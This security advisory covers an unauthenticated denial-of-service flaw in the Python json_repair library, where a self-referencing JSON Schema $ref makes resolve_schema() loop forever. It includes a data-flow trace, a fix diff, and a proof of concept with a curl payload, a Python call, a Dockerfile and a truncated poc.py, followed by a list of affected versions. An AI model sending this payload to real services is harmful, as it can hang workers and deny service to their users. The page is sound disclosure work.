GHSA-xf7x-x43h-rpqh
GHSA-xf7x-x43h-rpqh · json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS
This page contains facts from public vulnerability sources. Check the original advisory before updating.
This page shows selected source facts. See the linked advisories for the complete description and affected versions.
## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair` ### Summary `SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High). ### Details `SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop: ```python # src/json_repair/schema_repair.py:184-190 schema_dict = cast("dict[str, Any]", schema) while "$ref" in schema_dict: ref = schema_dict["$ref"] resolved = self._resolve_ref(ref) if isinstance(resolved, bool): return resolved schema_dict = resolved ``` `_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as: ```json {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} ``` `_resolve_ref()` returns the same `dict` object on every iteration, so `"$ref" in schema_dict` is always `True` and the loop never terminates. The vulnerable sink is reachable without authentication through the demo Flask API: ```python # docs/app.py:14, 21-36 data = request.get_json() schema = data.get("schema") if schema is not None and not isinstance(schema, (dict, bool)): raise ValueError("schema must be a JSON object or boolean.") ... if schema is not None: loads_kwargs["schema"] = schema parsed_json = loads(malformed_json, **loads_kwargs) ``` The only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is: 1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body. 2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied. 3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`. 4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`. 5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop. 6. `src/json_repair/schema_repair.py:184–190` — unbounded `while "$ref" in schema_dict` loop (sink). 7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call. **Recommended fix:** ```diff --- a/src/json_repair/schema_repair.py +++ b/src/json_repair/schema_repair.py def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool: ... - schema_dict = cast("dict[str, Any]", schema) + schema_dict = cast("dict[str, Any]", schema) + seen_schema_ids: set[int] = set() while "$ref" in schema_dict: ref = schema_dict["$ref"] + if not isinstance(ref, str): + raise SchemaDefinitionError("$ref must be a string.") + schema_id = id(schema_dict) + if schema_id in seen_schema_ids: + raise SchemaDefinitionError(f"Circular $ref detected: {ref}") + seen_schema_ids.add(schema_id) resolved = self._resolve_ref(ref) if isinstance(resolved, bool): return resolved schema_dict = resolved return schema_dict ``` ### PoC **Environment setup:** ```bash # Clone the affected version git clone https://github.com/mangiucugna/json_repair.git git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7 # Install dependencies pip install flask flask-cors jsonschema pydantic pip install -e json_repair/ # Start the demo API PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005 ``` **Alternatively, use the provided Docker image:** ```dockerfile FROM python:3.11-slim WORKDIR /app COPY repo/ /app/repo/ RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \ pip install --no-cache-dir -e /app/repo/ COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` ```bash docker build -t vuln001-json-repair -f vuln-001/Dockerfile . docker run --rm vuln001-json-repair ``` **HTTP attack request (demo API):** ```bash timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \ -H 'Content-Type: application/json' \ --data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}' # Expected: no response before timeout; curl exits with code 124 ``` **Direct library attack:** ```bash timeout 5 python3 - <<'PY' from json_repair import loads schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} print(loads("{}", schema=schema)) PY # Expected: process killed after 5 s; exit code 124 ``` **Observed results (from Docker-based dynamic reproduction):** - Baseline (valid schema `{"type":"object","properties":{"name":{"type":"string"}}}`): completed in **0.261 s**. - Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed. ### Impact This is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner. Beyond the demo API, any application that exposes `json_repair.loads(..., schema=<user-controlled>)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim WORKDIR /app # Copy the vulnerable json_repair repository (build context is the report root) COPY repo/ /app/repo/ # Install Flask demo API dependencies and schema extras RUN pip install --no-cache-dir \ flask \ flask-cors \ jsonschema \ pydantic && \ pip install --no-cache-dir -e /app/repo/ # Copy the proof-of-concept script COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS CWE-835 — Loop with Unreachable Exit Condition Affected: json_repair <= 0.59.10 (commit 0015c74) Sink: src/json_repair/schema_repair.py:185 SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection. Attack schema: {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} When passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop because _resolve_ref() always returns the same dict object from root_schema. Verdict logic: - Baseline (valid schema) must complete in < TIMEOUT seconds. - Attack (circular $ref) must still be running at TIMEOUT seconds. Both conditions together constitute deterministic proof of the vulnerability. """ import os import subprocess import sys import tempfile import time # Seconds to wait before declaring the attack confirmed (infinite loop) TIMEOUT_SECONDS = 5 CIRCULAR_SCHEMA = { "$ref": "#/definitions/a", "definitions": { "a": {"$ref": "#/definitions/a"} } }
CVSS 7.5 · High · Fix available
- Published
- Updated
Stack: python
Affected products and versions
json-repair PyPI
- Versions
- 0.1.10
- 0.1.5
- 0.1.6
- 0.1.7
- 0.1.8
- 0.1.9
- 0.10.0
- 0.10.1
- 0.11.0
- 0.11.1
- 0.12.0
- 0.12.1
- 0.12.2
- 0.12.3
- 0.13.0
- 0.13.1
- 0.14.0
- 0.15.0
- 0.15.1
- 0.15.2
- 0.15.3
- 0.15.4
- 0.15.5
- 0.15.6
- 0.16.0
- 0.16.1
- 0.16.2
- 0.16.3
- 0.17.0
- 0.17.1
- 0.17.2
- 0.17.3
- 0.17.4
- 0.18.0
- 0.19.0
- 0.19.1
- 0.19.2
- 0.2.0
- 0.20.0
- 0.20.1
- 0.21.0
- 0.22.0
- 0.23.0
- 0.23.1
- 0.24.0
- 0.25.0
- 0.25.1
- 0.25.2
- 0.25.3
- 0.26.0
- 0.27.0
- 0.27.1
- 0.27.2
- 0.28.0
- 0.28.1
- 0.28.2
- 0.28.3
- 0.28.4
- 0.29.0
- 0.29.1
- 0.29.10
- 0.29.2
- 0.29.3
- 0.29.4
- 0.29.5
- 0.29.6
- 0.29.7
- 0.29.8
- 0.29.9
- 0.3.0
- 0.30.0
- 0.30.1
- 0.30.2
- 0.30.3
- 0.31.0
- 0.32.0
- 0.33.0
- 0.34.0
- 0.35.0
- 0.36.0
- 0.36.1
- 0.37.0
- 0.38.0
- 0.39.0
- 0.39.1
- 0.4.0
- 0.4.1
- 0.4.2
- 0.4.3
- 0.4.4
- 0.4.5
- 0.40.0
- 0.41.0
- 0.41.1
- 0.42.0
- 0.43.0
- 0.44.0
- 0.44.1
- 0.45.0
- 0.45.1
- 0.46.0
- 0.46.1
- 0.46.2
- 0.47.0
- 0.47.1
- 0.47.2
- 0.47.3
- 0.47.4
- 0.47.5
- 0.47.6
- 0.47.7
- 0.47.8
- 0.48.0
- 0.49.0
- 0.5.0
- 0.5.1
- 0.50.0
- 0.50.1
- 0.51.0
- 0.52.0
- 0.52.1
- 0.52.2
- 0.52.3
- 0.52.4
- 0.52.5
- 0.53.0
- 0.53.1
- 0.54
- 0.54.1
- 0.54.2
- 0.54.3
- 0.55.0
- 0.55.1
- 0.55.2
- 0.56.0
- 0.57.0
- 0.57.1
- 0.58.0
- 0.58.1
- 0.58.2
- 0.58.3
- 0.58.4
- 0.58.5
- 0.58.6
- 0.58.7
- 0.59.0
- 0.59.1
- 0.59.10
- 0.59.2
- 0.59.3
- 0.59.4
- 0.59.5
- 0.59.6
- 0.59.7
- 0.59.8
- 0.59.9
- 0.6.0
- 0.6.1
- 0.6.2
- 0.60.0
- 0.7.0
- 0.8.0
- 0.8.1
- 0.9.0
- Affected ranges
- ECOSYSTEM: < 0.60.1
Update to 0.60.1